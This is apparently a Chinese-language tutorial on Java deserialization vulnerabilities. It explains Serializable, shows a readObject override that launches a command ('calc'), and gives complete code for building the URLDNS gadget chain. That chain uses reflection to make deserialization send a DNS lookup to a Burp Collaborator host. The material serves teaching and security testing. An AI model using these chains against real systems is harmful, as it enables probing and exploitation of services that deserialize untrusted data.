序列化特性
1.Serializable 接口是java提供的序列化结构,他是个空接口
public interface Serializable {
}
在java里,只有实现了这个接口的类才能进行序列化反序列化操作
2.在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
就是如果子类实现了序列化接口,父类没有实现序列化接口,那么在父类对象的属性就不会被序列化,从而在反序列化的时候就是用父类的无参构造函数来初始化父类的属性。
3.序列化和反序列化的代码实现
先创建一个person类(命名不规范,应该大写开头)
import java.io.Serializable;
public class person implements Serializable { //实现了Serializable接口
public String name;
public int age;
public person(){
}
public person(String name,int age){
this.name=name;
this.age=age;
}
}
序列化
import java.io.*;
public class serializetest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
person p = new person("wzx",21);
serialize(p);
}
}
反序列化
import java.io.ObjectInputStream;
public class unserializetest {
public static Object unserialize(String filename) throws Exception{
ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
Object obj = oip.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
person pe = (person) unserialize("1.bin");//将Object类型转换为person类,因为person类的父类就是Object类,所以这样转换没问题
System.out.println(pe.name+""+pe.age);
}
}
对上面的2个操作文件流的类的简单说明
ObjectOutputStream代表对象输出流:
它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
ObjectInputStream代表对象输入流:
它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
3.一个实现 Serializable 接口的子类也是可以被序列化的
4.静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
5.transient 标识的对象成员变量不参与序列化
6.Serializable 在序列化和反序列化过程中大量使用了反射,因此其过程会产生的大量的内存碎片
反序列化产生的危害
因为我们可以重写readObject()方法,且在因为一些业务需求,要重写readObject()方法。
可以有如下几种情况造成危害
1.入口类的readObjecti直接调用危险方法。
2.入口类参数中包含可控类,该类有危险方法,readObject时调用。
3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。
以第一种为例
当在person类中加入了
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
那么在对这个类的对象进行反序列化时,就不会执行原本的readObject()而是这个类中重写的readObject(),从而执行命令弹计算器。
对反序列化利用的条件
- 共同条件 继承Serializable
- 入口类source(重写readObject 调用常见的函数 参数类型宽泛最好jdk自带)
HashMap
是一个 - 调用链gadget chain 相同名称 相同类型不停的调用
- 执行类sink(rce ssrf写文件等等)最重要
URLDNS链
链子基础
在HashMap
进行反序列化的时候,类里重写的readObject()
会调用如下函数
putVal(hash(key), key, value, false, false);
会对HashMap
的键调用hash()
方法
跟进hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
可以发现,会调用参数key的hashCode()
方法
因为这个key是HashMap的键,所以我们可以找一个同样拥有hashCode()方法的类,来调用他的hashCode()方法
URL类存在hashCode()
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
跟进handler.hashCode()
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
...
...
发现这里调用了getHostAddress()
这个就是对域名进行解析获得他的ip,所以我们用这个方法进行ssrf等攻击
所以就是
HashMap.readObject() => HashMap.putVal() => HashMap.hash() => URL.hashCode() => getHostAddress()
这就是一个简单的反序列化链
demo:
用burp开一个Burp Collaborator client
import javax.print.DocFlavor;
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class serializetest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
hashMap.put(new URL("http://kwkn0946k3fe23x6q2xkihy5iwomcb.burpcollaborator.net"),1);
serialize(hashMap);
}
}
执行完会发现,burp上收到了dns请求
**但是!**这个时候我们还没有反序列化为什么就会执行这个呢?
跟进HashMap的put()
方法,发现在put的时候就会执行hash()
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
在看看URL的hashCoed()
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里他会判断hashCode属性值是不是-1,如果是-1就调用handler.hashCode
同时在URL类里,hashCode默认被赋值为-1
private int hashCode = -1;
所以就会导致在反序列化前就进行了dns请求,这不是我们想要的
要想办法让这个属性值在被put的时候不为-1,在序列化的时候再变成-1
所以使用反射来修改他的值
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class serializetest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
Class urlclass = Class.forName("java.net.URL");
Constructor urlconstructor = urlclass.getConstructor(String.class);
URL url = (URL)urlconstructor.newInstance("http://kwkn0946k3fe23x6q2xkihy5iwomcb.burpcollaborator.net");
Field urlfield = urlclass.getDeclaredField("hashCode");
urlfield.setAccessible(true);
System.out.println(urlfield.get(url).toString());//获取属性值
urlfield.set(url,1);
System.out.println(urlfield.get(url).toString());//获取属性值
}
}
//-1
//1
这个对象的hashCode的值已经被改变
这样就可以满足我们的目的了
链子
import javax.print.DocFlavor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class serializetest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
URL url = new URL("http://ds9gw20zgwb7ywtzmvtdeauyepkh86.burpcollaborator.net");
//这里设置hashCode 不为-1
Class urlclass = url.getClass();
Field urlfield = urlclass.getDeclaredField("hashCode");
urlfield.setAccessible(true);
urlfield.set(url,1);
//调用hashMap的put来设置键值对,这个时候不会进行dns请求
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
hashMap.put(url,1);
//将url对象的hashCode重新设置为-1,这样在反序列化的时候就会进行dns请求
urlfield.set(url,-1);
//序列化url对象
serialize(hashMap);
}
}
此时不会收到dns请求
反序列化
import java.io.FileInputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;
public class unserializetest {
public static Object unserialize(String filename) throws Exception{
ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
Object obj = oip.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = (HashMap<URL, Integer>) unserialize("1.bin");
}
}
收到了dns请求